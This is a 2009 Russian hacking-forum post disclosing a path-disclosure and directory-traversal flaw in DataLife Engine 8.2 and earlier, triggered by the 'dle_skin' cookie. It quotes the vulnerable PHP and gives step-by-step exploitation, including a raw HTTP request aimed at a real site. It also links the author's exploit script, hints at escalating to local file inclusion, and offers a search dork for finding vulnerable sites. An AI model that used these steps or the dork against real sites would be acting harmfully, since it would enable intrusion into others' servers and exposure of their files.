Показать сообщение отдельно

  #82  
Старый 17.10.2009, 17:50
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Раскрытие путей + LFI
DataLife Engine <= 8.2

Тип: Раскрытие путей
Автор: mailbrush
Версия: DataLife Engine <= 8.2
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "dle_skin" в файле init.php и позволяет удалённому пользователю добиться вывода ошибки функции, соответственно увидев пути к корню сайта.
Уязвимый код:
/engine/init.php
PHP код:
...
 } elseif (isset(
$_COOKIE['dle_skin']) AND $_COOKIE['dle_skin'] != '') {

    if (@
is_dir(ROOT_DIR.'/templates/'.$_COOKIE['dle_skin']))
        {
            
$config['skin'] = $_COOKIE['dle_skin'];
        }
 }
...
$tpl->dir ROOT_DIR.'/templates/'.$config['skin'];
...
include_once 
$tpl->dir.'/login.tpl'
Эксплуатация:
  1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим
    Код:
    dle_skin
    и значение
    Код:
    ../
  2. Отправляем запрос на сайт:
    Код:
    GET / HTTP/1.1
    Host: dle-news.ru
    Cookie: dle_skin=../
    Cookie2: $Version=1
    Connection: Close
  3. Самый простой вариант - используем мой скрипт:
    Код:
    http://mailbrush.eu/tools/dle.php
После этого на сайте видим ошибку:
Цитата:
Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314

Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:\php5\pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.

Соображающие люди поймут как сделать из этого LFI.

Дорк:
Код:
Powered by DataLife Engine

Последний раз редактировалось mailbrush; 08.02.2010 в 18:31..
 
Ответить с цитированием